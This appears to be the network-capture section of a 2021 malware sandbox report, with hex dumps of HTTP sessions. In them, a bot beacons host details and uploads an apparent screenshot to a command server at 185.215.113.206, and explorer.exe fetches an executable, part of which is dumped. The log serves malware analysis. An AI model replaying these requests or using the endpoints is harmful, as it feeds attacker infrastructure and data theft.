Aug 19, 2021 07:54:02.431575060 CEST	11925	OUT	Data Raw: a4 55 52 62 32 6e 8f 68 dd c6 cc 1d c4 83 bb b5 3f eb f3 ff 00 20 3a ea 63 4d 12 4c 90 b4 a8 b2 c8 09 44 2c 37 30 1d 70 3b e3 23 f3 ae 37 41 d5 3c 45 a9 c9 a6 ea 26 da fb ec 97 7f 3c c9 28 b5 16 f1 c6 ca 4a 94 2a de 6e 41 db f7 b3 9e 78 1c 63 47 Data Ascii: URb2nh? :cMLD,70p;#7A<E&<(J*nAxcG]$VMj++8Oq3X:vl_lgHWXdROsr+>aus5}}WcqyG'uQ\D.1-EFlb#8~2}>Gy=5`LA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	49760	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:02.254606962 CEST	11831	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.206 Content-Length: 86 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	49762	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:06.506648064 CEST	11927	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.206 Content-Length: 86 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49717	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:09.149555922 CEST	2082	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: atvcampingtrips.com
Aug 19, 2021 07:53:09.149636984 CEST	2082	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 48 19 db 95 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vuHgjf+w3zgGfQ!_HvtZU Ha]pYb5h'<EoE=>9/\|vGCi:p
Aug 19, 2021 07:53:09.287338018 CEST	2083	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 57 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 52 39 08 a5 6c 58 b5 ad 1e bd cf b3 f3 6d 92 21 c7 ed 2e 15 1c 81 8b 88 cb 77 9b 2d 10 15 96 0e 8f 17 63 4b 51 Data Ascii: #\(R9lXm!.w-cKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	49763	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:06.634049892 CEST	11927	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ade489ed3a5e311199ef7ebb583590c Host: 185.215.113.206 Content-Length: 94583 Cache-Control: no-cache
Aug 19, 2021 07:54:06.634300947 CEST	11927	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 61 64 65 34 38 39 65 64 33 61 35 65 33 31 31 31 39 39 65 66 37 65 62 62 35 38 33 35 39 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ade489ed3a5e311199ef7ebb583590cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 19, 2021 07:54:06.634692907 CEST	11937	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 19, 2021 07:54:06.634965897 CEST	11940	OUT	Data Raw: e7 39 18 c9 ed d3 15 d1 4a 4a 29 b6 44 93 6d 24 73 86 98 6b bb bc f0 7d a4 1f 0c e1 d7 47 99 fd a0 4a cb 20 2d c0 8d 9c aa f1 ef f2 d5 0f 1c 68 da 76 84 74 8b 2b 48 0a 5d 35 92 cd 74 e5 d8 ef 76 e3 a1 38 1c a9 e9 eb 57 1a d1 93 b2 f3 fc 01 d3 69 Data Ascii: 9JJ)Dm$sk}GJ -hvt+H]5tv8Wi]C?~?fst_:Um?ypwgx5i^&>e,?vwXP6nj}o/y97gz/V_jJ2UJJ
Aug 19, 2021 07:54:06.707609892 CEST	11960	OUT	Data Raw: a5 a9 2d ad e7 bc 9d 20 b5 86 49 e6 7f bb 1c 48 59 9b bf 00 72 69 7e cf 38 8a 19 4c 12 88 e7 24 44 c5 0e 24 c1 c1 da 7b e0 f1 c5 3b 88 8a 8a 7c b1 c9 0c cf 14 a8 d1 c9 1b 15 74 75 21 94 8e 08 20 f4 34 ca 04 15 eb 1f 09 bc 7b a1 78 43 47 d4 2d f5 Data Ascii: - IHYri~8L$D${;\|tu! 4{xCG-iI'Ek6uEM+>1jIWiq2Jk?vx3~/?\|=\|Mfatac.@1jtNmq]\|YXR2s~
Aug 19, 2021 07:54:06.709055901 CEST	11965	OUT	Data Raw: d6 37 16 d0 fd 92 f5 94 bc 66 41 26 e0 df 22 93 f7 06 38 5c 64 82 0f 5a b9 16 83 a6 26 b7 14 77 b7 37 11 69 91 e9 70 5f dd ca 0a 97 53 22 27 0b c6 3e fb a8 19 ed 50 dc 78 a6 de f4 5c 5a 5e 69 33 cb a5 c9 6d 6f 6f 1c 6b 7b b6 e1 0c 39 d8 e6 52 85 Data Ascii: 7fA&"8\dZ&w7ip_S"'>Px\Z^i3mook{9RX0@$0+\|-4HM@GrclA=ntz-Rx_tVVRm:cc(\?taOOSK`P7'a8NsRn}Fg77q2!UUIv9bC\|
Aug 19, 2021 07:54:06.769594908 CEST	11971	OUT	Data Raw: 96 04 9c 8c 9c 8e 9c 8c 1f 21 1c f4 af a7 bf b6 67 d1 f5 1d 4e 2b 48 e3 29 35 e3 ca de 6e 58 ee e1 4e 31 8e 3e 5f fe bd 79 6f c5 dd 02 db 4f be d2 f5 a8 56 28 e4 d5 e3 79 26 8a 18 ca a0 75 d8 77 72 4f 27 7f 3d 3a 67 a9 35 d7 86 ae db e4 67 3d 68 Data Ascii: !gN+H)5nXN1>_yoOV(y&uwrO'=:g5g=hW:l:S4Rq4HSOZZRNh5#(QE0hE(5@--6R3IZNR)RQL-QLCE6)KH)i)i(L1LZZ@)i:)THQIKTHKL)J:S
Aug 19, 2021 07:54:06.769756079 CEST	12013	OUT	Data Raw: 20 a7 a8 a6 81 9a 77 b5 31 30 75 56 ea 01 a4 0a 3d 05 38 0c d2 e3 14 ec 2b 88 00 1d 85 18 1e 82 97 bd 18 a7 61 07 1e 94 00 3d 07 e5 4b 8a 31 8a 04 18 1e 82 94 d2 50 69 80 66 8a 6d 28 34 05 85 a2 8a 28 10 b4 a2 92 8a 60 29 a4 a0 d2 73 40 0b 49 47 Data Ascii: w10uV=8+a=K1Pifm(4(`)s@IG4p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH*,()Bbu'Zx6\bLB)vRBQIR`$xQ
Aug 19, 2021 07:54:06.826828957 CEST	12021	OUT	Data Raw: 55 75 0b 4b b9 dc f8 8e f4 44 6d ee 96 20 8d e5 43 cb 66 37 dc 3a 70 31 f5 ae 7b c6 5a 46 a8 06 9b aa 1d 3a f0 69 c7 49 b1 51 77 e4 37 95 9f 21 06 37 e3 19 cf 1d 6b 90 08 a3 90 28 0a 01 c8 a2 14 9c 52 d7 b7 e0 ac 0e 69 fe 3f 8b b8 ea 28 34 56 c6 Data Ascii: UuKDm Cf7:p1{ZF:iIQw7!7k(Ri?(4VBIK@QLAEPEPEPEP%-0)hAE!QL,;4RRJ(J)(QME%-Rb(Q@)RQHL-.h(%/4)i(qJ(h8RFiBi(:L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	49764	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:10.842099905 CEST	12022	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.206 Content-Length: 86 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	49765	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:10.946506023 CEST	12023	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ade489ed3a5e311199ef7ebb583590c Host: 185.215.113.206 Content-Length: 94583 Cache-Control: no-cache
Aug 19, 2021 07:54:11.018650055 CEST	12023	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 61 64 65 34 38 39 65 64 33 61 35 65 33 31 31 31 39 39 65 66 37 65 62 62 35 38 33 35 39 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ade489ed3a5e311199ef7ebb583590cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 19, 2021 07:54:11.019153118 CEST	12033	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 19, 2021 07:54:11.019314051 CEST	12036	OUT	Data Raw: e7 39 18 c9 ed d3 15 d1 4a 4a 29 b6 44 93 6d 24 73 86 98 6b bb bc f0 7d a4 1f 0c e1 d7 47 99 fd a0 4a cb 20 2d c0 8d 9c aa f1 ef f2 d5 0f 1c 68 da 76 84 74 8b 2b 48 0a 5d 35 92 cd 74 e5 d8 ef 76 e3 a1 38 1c a9 e9 eb 57 1a d1 93 b2 f3 fc 01 d3 69 Data Ascii: 9JJ)Dm$sk}GJ -hvt+H]5tv8Wi]C?~?fst_:Um?ypwgx5i^&>e,?vwXP6nj}o/y97gz/V_jJ2UJJ
Aug 19, 2021 07:54:11.090126038 CEST	12056	OUT	Data Raw: a5 a9 2d ad e7 bc 9d 20 b5 86 49 e6 7f bb 1c 48 59 9b bf 00 72 69 7e cf 38 8a 19 4c 12 88 e7 24 44 c5 0e 24 c1 c1 da 7b e0 f1 c5 3b 88 8a 8a 7c b1 c9 0c cf 14 a8 d1 c9 1b 15 74 75 21 94 8e 08 20 f4 34 ca 04 15 eb 1f 09 bc 7b a1 78 43 47 d4 2d f5 Data Ascii: - IHYri~8L$D${;\|tu! 4{xCG-iI'Ek6uEM+>1jIWiq2Jk?vx3~/?\|=\|Mfatac.@1jtNmq]\|YXR2s~
Aug 19, 2021 07:54:11.090186119 CEST	12061	OUT	Data Raw: d6 37 16 d0 fd 92 f5 94 bc 66 41 26 e0 df 22 93 f7 06 38 5c 64 82 0f 5a b9 16 83 a6 26 b7 14 77 b7 37 11 69 91 e9 70 5f dd ca 0a 97 53 22 27 0b c6 3e fb a8 19 ed 50 dc 78 a6 de f4 5c 5a 5e 69 33 cb a5 c9 6d 6f 6f 1c 6b 7b b6 e1 0c 39 d8 e6 52 85 Data Ascii: 7fA&"8\dZ&w7ip_S"'>Px\Z^i3mook{9RX0@$0+\|-4HM@GrclA=ntz-Rx_tVVRm:cc(\?taOOSK`P7'a8NsRn}Fg77q2!UUIv9bC\|
Aug 19, 2021 07:54:11.153820992 CEST	12070	OUT	Data Raw: 96 04 9c 8c 9c 8e 9c 8c 1f 21 1c f4 af a7 bf b6 67 d1 f5 1d 4e 2b 48 e3 29 35 e3 ca de 6e 58 ee e1 4e 31 8e 3e 5f fe bd 79 6f c5 dd 02 db 4f be d2 f5 a8 56 28 e4 d5 e3 79 26 8a 18 ca a0 75 d8 77 72 4f 27 7f 3d 3a 67 a9 35 d7 86 ae db e4 67 3d 68 Data Ascii: !gN+H)5nXN1>_yoOV(y&uwrO'=:g5g=hW:l:S4Rq4HSOZZRNh5#(QE0hE(5@--6R3IZNR)RQL-QLCE6)KH)i)i(L1LZZ@)i:)THQIKTHKL)J:S
Aug 19, 2021 07:54:11.153970003 CEST	12102	OUT	Data Raw: e7 55 f6 b8 7f be 29 45 d4 5f df 15 ca ee 6f 53 4b b9 bd 4d 3f ae 3e c4 fd 4a 3d ce af ed 31 7f 7c 53 be d3 17 f7 c5 72 7b 9b 3f 78 d2 ef 6f ef 1a 7f 5c 7d 85 f5 25 dc eb 05 cc 5f df 14 bf 68 8c ff 00 18 ae 4f cc 7f ef 1a 51 23 ff 00 78 fe 75 5f Data Ascii: U)E_oSKM?>J=1\|Sr{?xo\}%_hOQ#xu_\}u?+?OODuk<}7\pLT~DK'r\|4\|a}KNAq/?\|t)v!x.r__?}ev'o_QF
Aug 19, 2021 07:54:11.154036045 CEST	12110	OUT	Data Raw: 9d c2 c3 b7 52 86 a8 f3 4b 4a e1 62 5d d4 ec d4 39 a5 0d 54 a4 4f 29 36 ea 4d d5 18 6a 09 a7 cc 1c a4 9b a9 37 54 7b a9 37 52 e6 0e 52 60 d4 6e a8 b7 51 ba 9f 30 72 92 ee a4 26 a3 dd 41 6a 39 83 94 7e 68 26 a3 cd 19 a5 71 f2 8f 26 9b ba 9b 9a 6e Data Ascii: RKJb]9TO)6Mj7T{7RR`nQ0r&Aj9~h&q&njn>QsM&i\&M!4jn4M&4fA3IE+JLpHM!45%X\FsA\p N&4XBi3E%"(43Jaf4LBFfDfE8, {/QloUu[
Aug 19, 2021 07:54:11.215867043 CEST	12118	OUT	Data Raw: 55 75 0b 4b b9 dc f8 8e f4 44 6d ee 96 20 8d e5 43 cb 66 37 dc 3a 70 31 f5 ae 7b c6 5a 46 a8 06 9b aa 1d 3a f0 69 c7 49 b1 51 77 e4 37 95 9f 21 06 37 e3 19 cf 1d 6b 90 08 a3 90 28 0a 01 c8 a2 14 9c 52 d7 b7 e0 ac 0e 69 fe 3f 8b b8 ea 28 34 56 c6 Data Ascii: UuKDm Cf7:p1{ZF:iIQw7!7k(Ri?(4VBIK@QLAEPEPEPEP%-0)hAE!QL,;4RRJ(J)(QME%-Rb(Q@)RQHL-.h(%/4)i(qJ(h8RFiBi(:L
Aug 19, 2021 07:54:11.350128889 CEST	12120	OUT	Data Raw: f5 3e 97 ff 00 08 96 9b 6d 71 0f fc 27 3a 24 9e 73 a3 67 ed 31 0c 6d 0c 3f e7 a7 fb 5f a5 74 10 f8 d7 c2 1a 3e 90 43 f8 a7 49 99 60 56 63 e5 5d c6 cc dc 93 80 aa c4 93 ec 2b e3 8a 5a c6 74 61 53 12 f1 52 f8 da b3 7e 5e 9b 74 ec 14 52 a3 45 61 e9 Data Ascii: >mq':$sg1m?_t>CI`Vc]+ZtaSR~^tREaJ)k`5_2wK-RKo7{epz0^E!LCKT)1ItF"w9lih+OQc;k/b8!{3KILBTHYgIZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	49766	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:11.090912104 CEST	12061	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.206 Content-Length: 86 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0
Aug 19, 2021 07:54:11.148802042 CEST	12062	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Aug 2021 05:54:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 62 61 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ba<html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	49767	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:11.316595078 CEST	12119	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.206 Content-Length: 86 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0
Aug 19, 2021 07:54:22.315851927 CEST	12125	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Aug 2021 05:54:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49718	193.142.59.119	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:09.336615086 CEST	2083	OUT	GET /forum/images/sefile.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 193.142.59.119
Aug 19, 2021 07:53:09.369515896 CEST	2085	IN	HTTP/1.1 200 OK Date: Thu, 19 Aug 2021 05:53:09 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Last-Modified: Thu, 19 Aug 2021 05:30:02 GMT ETag: "56800-5c9e2d7b2a832" Accept-Ranges: bytes Content-Length: 354304 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 e4 34 2e 64 85 5a 7d 64 85 5a 7d 64 85 5a 7d 7a d7 cf 7d 75 85 5a 7d 7a d7 d9 7d 0f 85 5a 7d 7a d7 de 7d 53 85 5a 7d 43 43 21 7d 67 85 5a 7d 64 85 5b 7d e9 85 5a 7d 7a d7 d0 7d 65 85 5a 7d 7a d7 ce 7d 65 85 5a 7d 7a d7 cb 7d 65 85 5a 7d 52 69 63 68 64 85 5a 7d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0b 48 7d 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 b8 01 00 00 50 fb 01 00 00 00 00 70 1a 00 00 00 10 00 00 00 d0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 10 fc 01 00 04 00 00 ea eb 05 00 03 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 48 02 00 28 00 00 00 00 10 fb 01 c8 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 d2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 3f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 b8 01 00 00 10 00 00 00 b8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ce 83 00 00 00 d0 01 00 00 84 00 00 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c a3 f8 01 00 60 02 00 00 2a 02 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 fd 00 00 00 10 fb 01 00 fe 00 00 00 6a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ 4.dZ}dZ}dZ}z}uZ}z}Z}z}SZ}CC!}gZ}d[}Z}z}eZ}z}eZ}z}eZ}RichdZ}PELH}^Pp@xH(@?@.text `.rdata@@.data`*@@.rsrcj@@
Aug 19, 2021 07:53:09.369556904 CEST	2086	IN	Data Raw: 00 8b ff 55 8b ec 83 ec 40 83 7d 0c 00 75 1c 83 7d 10 00 76 16 83 7d 08 00 74 09 8b 45 08 c7 00 00 00 00 00 33 c0 e9 d1 02 00 00 83 7d 08 00 74 09 8b 4d 08 c7 01 ff ff ff ff ba ff ff ff 7f 3b 55 10 1b c0 83 c0 01 89 45 ec 75 1e 68 38 d3 41 00 6a Data Ascii: U@}u}v}tE3}tM;UEuh8AjjJhAj3u}u02jjJhAhAh8A/\URMUM]xM~C}t}vURjEP/2*
Aug 19, 2021 07:53:09.369592905 CEST	2087	IN	Data Raw: 8b 55 08 83 7a 04 00 74 4c 8b 45 08 8b 48 04 51 e8 82 52 00 00 83 c4 04 83 c0 01 89 45 fc 8b 55 fc 52 e8 40 52 00 00 83 c4 04 8b 4d f8 89 41 04 8b 55 f8 83 7a 04 00 74 1a 8b 45 08 8b 48 04 51 8b 55 fc 52 8b 45 f8 8b 48 04 51 e8 37 4f 00 00 83 c4 Data Ascii: UztLEHQREUR@RMAUztEHQUREHQ7OUBEMQPE]UQMElAMytUBPy]UQMExtMAtA]UjjEP>R]
Aug 19, 2021 07:53:09.369637012 CEST	2089	IN	Data Raw: 8b ec e8 86 66 00 00 e8 11 00 00 00 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 28 41 42 00 68 b0 79 40 00 64 a1 00 00 00 00 50 83 c4 94 53 56 57 a1 e4 67 42 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 89 65 e8 Data Ascii: f]Ujh(ABhy@dPSVWgB1E3PEdeEEEPAE&eEEESEEjEwujGBuj4j*$vEq}jY
Aug 19, 2021 07:53:09.369688988 CEST	2090	IN	Data Raw: cc 8b 45 18 c7 00 0c 00 00 00 e9 e6 01 00 00 8b 4d 0c 81 e1 ff ff 00 00 83 f9 04 74 3a 83 7d 0c 01 74 34 8b 55 0c 81 e2 ff ff 00 00 83 fa 02 74 26 83 7d 0c 03 74 20 68 b0 d4 41 00 68 0c d5 41 00 6a 00 6a 00 6a 00 6a 01 e8 15 78 00 00 83 c4 18 83 Data Ascii: EMt:}t4Ut&}t hAhAjjjjxuM$MUR:wE}uEr0`B0`B}tIUE@MAUBEMHUBE@+D;Mv
